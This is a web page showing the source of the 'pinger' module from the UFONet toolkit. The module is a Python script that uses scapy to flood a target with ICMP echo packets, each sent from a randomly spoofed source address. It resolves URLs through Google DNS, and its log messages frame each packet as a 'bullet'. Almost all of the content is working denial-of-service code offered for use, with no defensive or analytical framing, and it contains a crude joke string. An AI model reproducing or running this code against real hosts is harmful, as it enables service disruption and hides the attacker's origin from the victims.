Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/pinger.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2020 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random, socket
13
try:
14
from urlparse import urlparse
15
except:
16
from urllib.parse import urlparse
17
try:
18
from scapy import *
19
except:
20
print("\nError importing: scapy lib.\n")
21
sys.exit(2)
22
23
# UFONet ICMP (echo ping) attack (PINGER)
24
def randIP():
25
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
26
return ip
27
28
def randInt():
29
x = random.randint(1,65535) # TCP ports
30
return x
31
32
def pingerize(ip, sport, rounds):
33
n=0
34
try:
35
for x in range (0,int(rounds)):
36
n=n+1
37
IP_p = IP()
38
IP_p.src = randIP()
39
try:
40
IP_p.dst = ip
41
except:
42
print("[Error] [AI] [PINGER] Imposible to resolve IP from 'target' -> [Aborting!]\n")
43
break
44
try:
45
send(IP_p/ICMP(), verbose=0)
46
print("[Info] [AI] [PINGER] Firing 'graphene bullets' ["+str(n)+"] -> [SHOOTING!]")
47
time.sleep(1) # sleep time required for balanced sucess
48
except:
49
print("[Error] [AI] [PINGER] Failed to engage with 'graphene bullets' ["+str(n)+"]")
50
except:
51
print("[Error] [AI] [PINGER] Failing to engage... -> Is still target online? -> [Checking!]")
52
53
class PINGER(object):
54
def attacking(self, target, rounds):
55
print("[Info] [AI] ICMP (PINGER) is ready to fire: [" , rounds, "graphene bullets ]")
56
if target.startswith('http://'):
57
target = target.replace('http://','')
58
sport = 80
59
elif target.startswith('https://'):
60
target = target.replace('https://','')
61
sport = 443
62
try:
63
ip = socket.gethostbyname(target)
64
except:
65
try:
66
import dns.resolver
67
r = dns.resolver.Resolver()
68
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
69
url = urlparse(target)
70
a = r.query(url.netloc, "A") # A record
71
for rd in a:
72
ip = str(rd)
73
except:
74
ip = target
75
if ip == "127.0.0.1" or ip == "localhost":
76
print("[Info] [AI] [PINGER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
77
return
78
pingerize(ip, sport, rounds) # attack with PINGER using threading
79
80